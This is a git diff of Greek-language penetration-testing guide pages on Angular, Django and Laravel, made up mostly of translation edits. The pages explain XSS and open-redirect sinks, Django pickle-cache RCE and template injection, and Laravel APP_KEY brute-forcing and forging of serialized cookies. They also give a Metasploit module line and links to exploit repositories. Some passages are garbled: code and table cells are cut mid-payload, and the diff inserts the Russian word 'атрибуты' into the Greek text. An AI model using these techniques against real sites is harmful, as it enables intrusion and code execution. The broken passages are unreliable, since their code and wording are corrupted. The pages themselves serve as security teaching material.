+Η Angular `Router` NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολής στην εφαρμογή σας. Το `RouterModule` ορίζεται στο αρχείο `app-routing.module.ts`. -Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. +Για δεδομένα ή λογική που δεν σχετίζεται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται άμεσα από τον διακοσμητή `@Injectable()`. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη, ούτε καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες. ## Ρύθμιση sourcemap -Το πλαίσιο Angular μεταφράζει τα αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή: +Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές `tsconfig.json` και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση `angular.json`. Κοιτάζοντας το αρχείο `angular.json`, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα σενάρια και δεν είναι κρυφό από προεπιλογή: ```json "sourceMap": { "scripts": true, @@ -60,9 +60,9 @@ my-workspace/ "hidden": false } ``` -Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν είναι ενεργοποιημένα τα sourcemaps, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα. +Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, αν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα. -Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, εάν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά τη διάρκεια της κατασκευής του έργου όπως `ng build --source-map`. +Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → \[id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος `//# sourceMappingURL=[id].main.js.map` ή μπορεί να μην την περιέχει, αν η **κρυφή** επιλογή είναι ρυθμισμένη σε **true**. Παρ' όλα αυτά, αν το sourcemap είναι απενεργοποιημένο για **scripts**, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά τη διάρκεια της κατασκευής του έργου όπως `ng build --source-map`. ## Δεσμεύσεις δεδομένων @@ -70,24 +70,24 @@ my-workspace/ Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων: -* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει _παρεμβολή_, _ιδιότητες_, _attributes_, _classes_ και _styles_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; +* Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει _παρεμβολή_, _ιδιότητες_, _α атрибуты_, _κλάσεις_ και _στυλ_); μπορεί να εφαρμοστεί χρησιμοποιώντας `[]` ή `{{}}` στο πρότυπο; * Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει _γεγονότα_); μπορεί να εφαρμοστεί χρησιμοποιώντας `()` στο πρότυπο; -* Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο. +* Δύο κατευθύνσεις; μπορεί να εφαρμοστεί χρησιμοποιώντας `[()]` στο πρότυπο. -Η δέσμευση μπορεί να κληθεί σε ιδιότητες, γεγονότα και attributes, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: +Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και α атрибуты, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας: | ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ | | -------- | ------------------------------------------------------- | ------------------------------------------------------------------ | | Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | \ | | Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | \ ``` -* Για να ορίσετε την ιδιότητα ενός στοιχείου DOM, μπορείτε να χρησιμοποιήσετε τη μέθοδο `Renderer2.setProperty()` και να ενεργοποιήσετε μια επίθεση XSS: +* Για να ορίσετε την ιδιότητα ενός στοιχείου DOM, μπορείτε να χρησιμοποιήσετε τη μέθοδο `Renderer2.setProperty()` και να προκαλέσετε μια επίθεση XSS: ```tsx //app.component.ts @@ -377,9 +377,9 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '` ετικετών ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα. +* Η μέθοδος `html()` αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την έγχυση ετικετών `"); jQuery.parseHTML(data [, context ] [, keepScripts ]) ``` -Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στο HTML. Η μέθοδος `jQuery.parseHTML()` δεν εκτελεί σενάρια στο αναλυθέν HTML εκτός αν το `keepScripts` είναι ρητά `true`. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα, για παράδειγμα, μέσω του χαρακτηριστικού ``. +Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στην HTML. Η μέθοδος `jQuery.parseHTML()` δεν εκτελεί σενάρια στην αναλυθείσα HTML εκτός αν το `keepScripts` είναι ρητά `true`. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα, για παράδειγμα, μέσω του χαρακτηριστικού ``. ```tsx //app.component.ts @@ -452,7 +452,7 @@ $palias.append(html); * `window.location.href`(και `document.location.href`) -Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το `window.location`. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου σε αυτό το αντικείμενο μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης. +Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το `window.location`. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου αυτού του αντικειμένου μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης. ```tsx //app.component.ts @@ -470,7 +470,7 @@ window.location.href = "https://google.com/about" Η διαδικασία εκμετάλλευσης είναι ταυτόσημη για τα παρακάτω σενάρια. * `window.location.assign()`(και `document.location.assign()`) -Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης. +Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο αυτής της μεθόδου, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης. ```tsx //app.component.ts @@ -485,7 +485,7 @@ window.location.assign("https://google.com/about") Αυτή η μέθοδος αντικαθιστά τον τρέχοντα πόρο με αυτόν στη δεδομένη διεύθυνση URL. -Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στην Ιστορία της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο. +Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στην Ιστορία της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο αυτής της μεθόδου. ```tsx //app.component.ts @@ -498,7 +498,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία να ενεργοποιηθεί μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης. +Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου αυτής της μεθόδου μπορεί επίσης να είναι μια ευκαιρία να προκαλέσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης. ```tsx //app.component.ts @@ -512,7 +512,7 @@ window.open("https://google.com/about", "_blank") #### Angular classes -* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατή η χρήση κοινών διαδρόμων για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα: +* Σύμφωνα με την τεκμηρίωση του Angular, το Angular `Document` είναι το ίδιο με το έγγραφο DOM, που σημαίνει ότι είναι δυνατή η χρήση κοινών διαδρόμων για το έγγραφο DOM για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι `Document.location` μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα: ```tsx //app.component.ts @@ -535,7 +535,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL του περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα: +* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL ενός περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα: ```tsx //app.component.ts @@ -560,7 +560,7 @@ console.log(this.location.go("http://google.com/about")); ``` Αποτέλεσμα: `http://localhost:4200/http://google.com/about` -* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει επιπλέον ευπάθειες στην εφαρμογή: +* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή: ```jsx //app-routing.module.ts @@ -570,7 +570,7 @@ const routes: Routes = [ Αποτέλεσμα: `http://localhost:4200/https:` -Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του τομέα: +Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του πεδίου του τομέα: ```jsx const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ] @@ -606,4 +606,4 @@ this.router.navigateByUrl('URL') -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 486c166f9..bdc3ecdc3 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,18 +1,18 @@ # Django -{{#include /src/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Cache Manipulation to RCE -Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστα δεδομένα αποσυμπιεστούν](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτήν την ευπάθεια σε RCE στον υποκείμενο διακομιστή**. +Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστα δεδομένα αποσυμπιεστούν](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**. -Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε διακομιστή Redis ή βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση. +Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε έναν διακομιστή Redis ή σε μια βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση. Αυτή η αναφορά του HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) -Η Γλώσσα Προτύπων Django (DTL) είναι **Turing-complete**. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως *template string* (για παράδειγμα καλώντας `Template(user_input).render()` ή όταν το `|safe`/`format_html()` αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE. +Η Γλώσσα Προτύπων Django (DTL) είναι **Turing-complete**. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως *string προτύπου* (για παράδειγμα καλώντας `Template(user_input).render()` ή όταν το `|safe`/`format_html()` αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE. ### Detection 1. Αναζητήστε δυναμικές κλήσεις σε `Template()` / `Engine.from_string()` / `render_to_string()` που περιλαμβάνουν *οποιαδήποτε* μη απολυμασμένα δεδομένα αιτήματος. @@ -64,16 +64,16 @@ print(f"sessionid={mal}") --- -## Πρόσφατα (2023-2025) Υψηλής Επίδρασης Django CVEs που πρέπει να ελέγξουν οι Pentesters -* **CVE-2025-48432** – *Εισαγωγή καταγραφών μέσω μη διαφυλαγμένου `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφών. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Κρίσιμη SQL injection* στο `QuerySet.values()/values_list()` στο `JSONField` (CVSS 9.8). Δημιουργήστε JSON κλειδιά για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8. +## Πρόσφατα (2023-2025) Υψηλής Επίδρασης CVEs Django που πρέπει να ελέγξουν οι Pentesters +* **CVE-2025-48432** – *Εισαγωγή Καταγραφής μέσω μη διαφυλαγμένου `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφής. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Κρίσιμη SQL injection* στο `QuerySet.values()/values_list()` στο `JSONField` (CVSS 9.8). Δημιουργήστε κλειδιά JSON για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8. Πάντα να αναγνωρίζετε την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και να δοκιμάζετε τα παραπάνω όπου είναι εφαρμόσιμο. --- ## Αναφορές -* Ασφαλής έκδοση Django – "Django 5.2.2, 5.1.10, 4.2.22 αντιμετωπίζουν το CVE-2025-48432" – 4 Ιουνίου 2025. +* Ασφαλής έκδοση Django – "Django 5.2.2, 5.1.10, 4.2.22 διευθύνει το CVE-2025-48432" – 4 Ιουνίου 2025. * OP-Innovate: "Η Django κυκλοφορεί ενημερώσεις ασφαλείας για να αντιμετωπίσει την αδυναμία SQL injection CVE-2024-42005" – 11 Αυγούστου 2024. -{{#include /src/banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 59d553c1a..8dcf26761 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -1,6 +1,6 @@ # Laravel -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ### Laravel SQLInjection @@ -69,13 +69,13 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ## Μαζική ανακάλυψη APP_KEY μέσω brute-force cookie -Δεδομένου ότι κάθε νέα απάντηση Laravel ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν offline. +Δεδομένου ότι κάθε νέα απάντηση Laravel ορίζει τουλάχιστον 1 κρυπτογραφημένο cookie (`XSRF-TOKEN` και συνήθως `laravel_session`), **δημόσιοι σαρωτές διαδικτύου (Shodan, Censys, …) διαρρέουν εκατομμύρια ciphertexts** που μπορούν να επιτεθούν εκτός σύνδεσης. Κύρια ευρήματα της έρευνας που δημοσιεύθηκε από τη Synacktiv (2024-2025): * Dataset Ιουλίου 2024 » 580 k tokens, **3.99 % κλειδιά σπασμένα** (≈23 k) * Dataset Μαΐου 2025 » 625 k tokens, **3.56 % κλειδιά σπασμένα** * >1 000 διακομιστές εξακολουθούν να είναι ευάλωτοι σε παλαιά CVE-2018-15133 επειδή τα tokens περιέχουν άμεσα σειριοποιημένα δεδομένα. -* Μεγάλη επαναχρησιμοποίηση κλειδιών – τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα defaults που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …). +* Μεγάλη επαναχρησιμοποίηση κλειδιών – τα Top-10 APP_KEYs είναι σκληρά κωδικοποιημένα προεπιλεγμένα που αποστέλλονται με εμπορικά πρότυπα Laravel (UltimatePOS, Invoice Ninja, XPanel, …). Το ιδιωτικό εργαλείο Go **nounours** προωθεί την απόδοση brute-force AES-CBC/GCM σε ~1.5 δισεκατομμύρια δοκιμές/δευτερόλεπτο, μειώνοντας την πλήρη σπασμένη συλλογή σε <2 λεπτά. @@ -85,10 +85,7 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt * [Laravel: Ανάλυση διαρροής APP_KEY](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) * [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc) -* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) - -{{#include ../../banners/hacktricks-training.md}} - +* [CVE-2018-15133 αναφορά (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce) ## Laravel Tricks @@ -103,11 +100,11 @@ laravel_crypto_killer.py bruteforce -v -kf appkeys.txt ### .env -Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται `.env`, το οποίο μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env` +Το Laravel αποθηκεύει το APP που χρησιμοποιεί για να κρυπτογραφήσει τα cookies και άλλα διαπιστευτήρια μέσα σε ένα αρχείο που ονομάζεται `.env` που μπορεί να προσπελαστεί χρησιμοποιώντας κάποια διαδρομή πλοήγησης κάτω από: `/../.env` Το Laravel θα δείξει επίσης αυτές τις πληροφορίες στη σελίδα αποσφαλμάτωσης (που εμφανίζεται όταν το Laravel βρίσκει ένα σφάλμα και είναι ενεργοποιημένο). -Χρησιμοποιώντας το μυστικό APP_KEY του Laravel, μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies: +Χρησιμοποιώντας το μυστικό APP_KEY του Laravel μπορείτε να αποκρυπτογραφήσετε και να ξανακρυπτογραφήσετε cookies: ### Αποκρυπτογράφηση Cookie ```python @@ -172,19 +169,20 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 Ευάλωτες εκδόσεις: 5.5.40 και 5.6.x έως 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσειριοποίησης: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Εδώ μπορείτε να βρείτε πληροφορίες σχετικά με την ευπάθεια αποσυμπίεσης εδώ: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) Μπορείτε να το δοκιμάσετε και να το εκμεταλλευτείτε χρησιμοποιώντας [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ Ή μπορείτε επίσης να το εκμεταλλευτείτε με το metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Μια άλλη αποσειριοποίηση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Μια άλλη αποσυμπίεση: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) ### 